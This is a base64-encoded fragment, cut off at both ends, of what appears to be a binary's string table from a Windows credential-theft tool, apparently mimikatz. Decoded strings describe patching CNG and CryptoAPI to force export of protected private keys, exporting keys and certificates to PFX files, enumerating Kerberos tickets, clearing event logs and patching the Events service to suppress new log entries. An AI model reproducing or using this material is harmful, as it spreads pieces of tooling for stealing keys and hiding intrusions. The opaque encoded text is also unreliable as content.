QBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAQQB0ACAAbABlAGEAcwB0ACAAbwBuAGUAIABmAGkAbABlAG4AYQBtAGUAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAAAAlAHUALQAlADAAOAB4AC4AJQBzAAAAAABmAG8AcgB3AGEAcgBkAGEAYgBsAGUAAABmAG8AcgB3AGEAcgBkAGUAZAAAAHAAcgBvAHgAaQBhAGIAbABlAAAAcAByAG8AeAB5AAAAbQBhAHkAXwBwAG8AcwB0AGQAYQB0AGUAAAAAAHAAbwBzAHQAZABhAHQAZQBkAAAAaQBuAHYAYQBsAGkAZAAAAHIAZQBuAGUAdwBhAGIAbABlAAAAaQBuAGkAdABpAGEAbAAAAHAAcgBlAF8AYQB1AHQAaABlAG4AdAAAAGgAdwBfAGEAdQB0AGgAZQBuAHQAAAAAAG8AawBfAGEAcwBfAGQAZQBsAGUAZwBhAHQAZQAAAAAAbgBhAG0AZQBfAGMAYQBuAG8AbgBpAGMAYQBsAGkAegBlAAAACgAJACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAoACQAgACAAIABTAGUAcgB2AGkAYwBlACAATgBhAG0AZQAgAAAAAAAKAAkAIAAgACAAVABhAHIAZwBlAHQAIABOAGEAbQBlACAAIAAAAAAACgAJACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAAAAAACAAKAAgACUAdwBaACAAKQAAAAAACgAJACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAoACQAgACAAIAAgACAAAAAAAAAACgAJACAAIAAgAFQAaQBjAGsAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAIAA7ACAAawB2AG4AbwAgAD0AIAAlAHUAAAAAAAkAWwAuAC4ALgBdAAAAAAAoACUAMAAyAGgAdQApACAAOgAgAAAAAAAlAHcAWgAgADsAIAAAAAAAKAAtAC0AKQAgADoAIAAAAEAAIAAlAHcAWgAAAG4AdQBsAGwAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBjAHIAYwAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQBfAG4AdAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuADIAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AZQB4AHAAIAAgACAAIAAAAHIAYwA0AF8AbABtACAAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AbQBkADQAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcwBoAGEAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdABfAGUAeABwACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAXwBlAHgAcAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkAF8AZQB4AHAAIAAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADIANQA2AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAGEAZQBzADIANQA2AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAHUAbgBrAG4AbwB3ACAAIAAgACAAIAAgACAAIAAgACAAIAAAAEoASQBOAEcATABFAF8AQwBMAEkAUABTAAAAAABTAE8AVQBOAEQAAABMAEkARwBIAFQAAABJAE4AUABVAFQARQBWAEUATgBUAAAAAAB0AGUAcwB0AAAAAABvAGYAZgAAAHMAaQBuAGcAbABlAAAAAABzAHQAYQB0AHUAcwAAAAAAQgB1AHMAeQBMAGkAZwBoAHQAIABNAG8AZAB1AGwAZQAAAAAAYgB1AHMAeQBsAGkAZwBoAHQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAG8AZgBmACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAAAAAEIAdQBzAHkATABpAGcAaAB0ACAAZABlAHQAZQBjAHQAZQBkAAoAAAAKAFsAJQAzAHUAXQAgACUAcwAKACAAIABWAGUAbgBkAG8AcgA6ACAAMAB4ACUAMAA0AHgALAAgAFAAcgBvAGQAdQBjAHQAOgAgADAAeAAlADAANAB4ACwAIABWAGUAcgBzAGkAbwBuADoAIAAwAHgAJQAwADQAeAAKACAAIABEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAAgACAAOgAgACUAcwAKACAAIABDAGEAcABhAGIAaQBsAGkAdABpAGUAcwAgACAAOgAgADAAeAAlADAAMgB4ACAAKAAgAAAAJQBzACwAIAAAAAAAIAAgAEQAZQB2AGkAYwBlACAASABhAG4AZABsAGUAOgAgADAAeAAlAHAACgAAAAAAIAAgACAAIABTAHQAYQB0AHUAcwAgACAAIAAgACAAOgAgADAAeAAlADAAMgB4AAoAAAAAACAAIAAgACAAUAByAG8AZAB1AGMAdABJAGQAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABDAG8AcwB0AHUAbQBlAHIASQBkACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AbwBkAGUAbAAgACAAIAAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAAUwBlAHIAaQBhAGwAIAAgACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABNAGYAZwBfAEkARAAgACAAIAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AZgBnAF8ARABhAHQAZQAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAAcwB3AHIAZQBsAGUAYQBzAGUAIAAgADoAIAAlAFMACgAAAAAAIAAgAEsAZQBlAHAAQQBsAGkAdgBlACAAVABoAHIAZQBhAGQAOgAgADAAeAAlAHAAIAAoACUAdQAgAG0AcwApAAoAIAAgAFcAbwByAGsAZQByACAAVABoAHIAZQBhAGQAIAAgACAAOgAgADAAeAAlAHAAIAAoACUAdQAgAG0AcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBzAHQAYQB0AHUAcwAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAWwAlADMAdQBdACAAJQBzACAAKAAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBsAGkAcwB0ACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAABzAG8AdQBuAGQAAABjAG8AbABvAHIAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AcwBpAG4AZwBsAGUAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABDAE4ARwAgAHMAZQByAHYAaQBjAGUAIABmAG8AcgAgAGUAYQBzAHkAIABlAHgAcABvAHIAdAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEMAcgB5AHAAdABvAEEAUABJACAAbABhAHkAZQByACAAZgBvAHIAIABlAGEAcwB5ACAAZQB4AHAAbwByAHQAAAAAAAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAAVwBpAG4AZABvAHcAcwAgAFMAeQBzAHQAZQBtACAAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAKABmAGkAbABlACwAIABUAE8ARABPADoAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQApAAAASABhAHMAaAAgAGEAIABwAGEAcwBzAHcAbwByAGQAIAB3AGkAdABoACAAbwBwAHQAaQBvAG4AYQBsACAAdQBzAGUAcgBuAGEAbQBlAAAAAABMAGkAcwB0ACAAKABvAHIAIABlAHgAcABvAHIAdAApACAAawBlAHkAcwAgAGMAbwBuAHQAYQBpAG4AZQByAHMAAAAAAGsAZQB5AHMAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHMAdABvAHIAZQBzAAAAcwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcAByAG8AdgBpAGQAZQByAHMAAAAAAHAAcgBvAHYAaQBkAGUAcgBzAAAAQwByAHkAcAB0AG8AIABNAG8AZAB1AGwAZQAAAGMAcgB5AHAAdABvAAAAAAByAHMAYQBlAG4AaAAAAAAAQ1BFeHBvcnRLZXkAbgBjAHIAeQBwAHQAAAAAAE5DcnlwdE9wZW5TdG9yYWdlUHJvdmlkZXIAAABOQ3J5cHRFbnVtS2V5cwAATkNyeXB0T3BlbktleQAAAE5DcnlwdEltcG9ydEtleQBOQ3J5cHRFeHBvcnRLZXkATkNyeXB0R2V0UHJvcGVydHkAAABOQ3J5cHRTZXRQcm9wZXJ0eQAAAE5DcnlwdEZyZWVCdWZmZXIAAAAATkNyeXB0RnJlZU9iamVjdAAAAABCQ3J5cHRFbnVtUmVnaXN0ZXJlZFByb3ZpZGVycwAAAEJDcnlwdEZyZWVCdWZmZXIAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAJQAyAHUALgAgACUALQAxADMAcwAgACgAJQAyAHUAKQAgAC0AIAAlAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAcwA6AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEMAcgB5AHAAdABFAG4AdQBtAFAAcgBvAHYAaQBkAGUAcgBUAHkAcABlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAE4ARwAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAJQAyAHUALgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEIAQwByAHkAcAB0AEUAbgB1AG0AUgBlAGcAaQBzAHQAZQByAGUAZABQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAAAAAAHMAeQBzAHQAZQBtAHMAdABvAHIAZQAAAEEAcwBrAGkAbgBnACAAZgBvAHIAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAHQAbwByAGUAcwAgADsAIABDAGUAcgB0AEUAbgB1AG0AUwB5AHMAdABlAG0AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAHMAaQBsAGUAbgB0AAAAAABuAG8AawBlAHkAAABNAHkAAAAAAHMAdABvAHIAZQAAAAAAAAAgACoAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACAAOgAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAKAAAAAAAoAG4AdQBsAGwAKQAAAAAACQBLAGUAeQAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzAAoACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoACQBQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAIAA6ACAAJQBzACAAKAAlAHUAKQAKAAAAAAAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABrAGUAeQBTAHAAZQBjACAAPQA9ACAAQwBFAFIAVABfAE4AQwBSAFkAUABUAF8ASwBFAFkAXwBTAFAARQBDACAAdwBpAHQAaABvAHUAdAAgAEMATgBHACAASABhAG4AZABsAGUAIAA/AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBlAHIAdABpAGYAaQBjAGEAdABlAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAZgBvAHIAIABsAGUAbgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABwAHIAbwB2AGkAZABlAHIAAAAAAHAAcgBvAHYAaQBkAGUAcgB0AHkAcABlAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABTAG8AZgB0AHcAYQByAGUAIABLAGUAeQAgAFMAdABvAHIAYQBnAGUAIABQAHIAbwB2AGkAZABlAHIAAABjAG4AZwBwAHIAbwB2AGkAZABlAHIAAAAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgACcAJQBzACcAIAAoACcAJQBzACcAKQAKACAAKgAgAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAA6ACAAJwAlAHMAJwAgACgAJQB1ACkACgAgACoAIABDAE4ARwAgAFAAcgBvAHYAaQBkAGUAcgAgACAAOgAgACcAJQBzACcACgAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAGsAZQB5AHMAIAA6AAoAAAAAAAoAJQAyAHUALgAgACUAcwAKAAAAIAAgACAAIAAlAFMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFAAcgBvAHYAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAQwBOAEcAIABrAGUAeQBzACAAOgAKAAAAAABVAG4AaQBxAHUAZQAgAE4AYQBtAGUAAAAgACAAIAAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4ASwBlAHkAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQARQBuAHUAbQBLAGUAeQBzACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAFMAdABvAHIAYQBnAGUAUAByAG8AdgBpAGQAZQByACAAJQAwADgAeAAKAAAAAABFAHgAcABvAHIAdAAgAFAAbwBsAGkAYwB5AAAATABlAG4AZwB0AGgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAHIAaQBuAHQASwBlAHkASQBuAGYAbwBzACAAOwAgAE4AQwByAHkAcAB0AEcAZQB0AFAAcgBvAHAAZQByAHQAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAcgBpAG4AdABLAGUAeQBJAG4AZgBvAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AEsAZQB5AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABZAEUAUwAAAE4ATwAAAAAACQBFAHgAcABvAHIAdABhAGIAbABlACAAawBlAHkAIAA6ACAAJQBzAAoACQBLAGUAeQAgAHMAaQB6AGUAIAAgACAAIAAgACAAIAA6ACAAJQB1AAoAAAAAAFIAUwBBAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AFMAZQB0AFAAcgBvAHAAZQByAHQAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AbwAgAEMATgBHACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABDAEEAUABJAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAE8ASwAAAAAASwBPAAAAAAAJAFAAcgBpAHYAYQB0AGUAIABlAHgAcABvAHIAdAAgADoAIAAlAHMAIAAtACAAAAAnACUAcwAnAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAARQB4AHAAbwByAHQAIAAvACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGQAZQByAAAACQBQAHUAYgBsAGkAYwAgAGUAeABwAG8AcgB0ACAAIAA6ACAAJQBzACAALQAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABwAGYAeAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABQAGYAeAAgADsAIABQAEYAWABFAHgAcABvAHIAdABDAGUAcgB0AFMAdABvAHIAZQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZABlAGwAZQB0AGUAIAB0AGUAbQBwACAAawBlAHkAcwBlAHQAIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAGUAcgB0AEEAZABkAEUAbgBjAG8AZABlAGQAQwBlAHIAdABpAGYAaQBjAGEAdABlAFQAbwBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAACUAcwBfACUAcwBfACUAdQBfACUAcwAuACUAcwAAAAAATgBUAEwATQA6ACAAAAAAAEQAQwBDADEAOgAgAAAAAABEAEMAQwAyADoAIAAAAAAATABNACAAIAA6ACAAAAAAAE0ARAA1ACAAOgAgAAAAAABTAEgAQQAxADoAIAAAAAAAUwBIAEEAMgA6ACAAAAAAAFsAJQAwADQAeAAvACUAeABdACAAJQBzAAoAAAAgACAAAAAAAFAAcgBvAHYAaQBkAGUAcgAgAGkAbgBmAG8AOgAKAAAACQBLAGUAeQAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzAAoAAAAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAkAUAByAG8AdgBpAGQAZQByACAAdAB5AHAAZQAgACAAOgAgACUAcwAgACgAJQB1ACkACgAAAAAACQBGAGwAYQBnAHMAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAACQBQAGEAcgBhAG0AIAAoAHQAbwBkAG8AKQAgACAAIAA6ACAAJQAwADgAeAAgAC8AIAAlADAAOAB4AAoAAAAAAAoAKgAgAEYAaQBsAGUAOgAgACcAJQBzACcACgAAAAAAZgBpAGwAZQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHMAeQBzAHQAZQBtACAAOwAgAEkAbgBwAHUAdAAgAE0AaQBjAHIAbwBzAG8AZgB0ACAAQwByAHkAcAB0AG8AIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AZgBpAGwAZQA6AGYAaQBsAGUAbgBhAG0AZQB8AGQAaQByAGUAYwB0AG8AcgB5ACkACgAAAGMAcgBsAAAAYwB0AGwAAABrAGUAeQBpAGQAAABEAGEAdABhADoAIAAAAAAAJQBzAC4AJQBzAAAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQA6ACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBmAGkAbABlAF8AcgBhAHcARABhAHQAYQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABMAG8AYwBhAGwAIABDAHIAeQBwAHQAbwBBAFAASQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBuAGcAIAA7ACAATgBvACAAQwBOAEcACgAAAEMAbABlAGEAcgAgAGEAbgAgAGUAdgBlAG4AdAAgAGwAbwBnAAAAAABjAGwAZQBhAHIAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAcABhAHQAYwBoACAARQB2AGUAbgB0AHMAIABzAGUAcgB2AGkAYwBlACAAdABvACAAYQB2AG8AaQBkACAAbgBlAHcAIABlAHYAZQBuAHQAcwAAAGQAcgBvAHAAAAAAAEUAdgBlAG4AdAAgAG0AbwBkAHUAbABlAAAAAABlAHYAZQBuAHQAAABsAG8AZwAAAGUAdgBlAG4AdABsAG8AZwAuAGQAbABsAAAAAAB3AGUAdgB0AHMAdgBjAC4AZABsAGwAAABFAHYAZQBuAHQATABvAGcAAAAAAFMAZQBjAHUAcgBpAH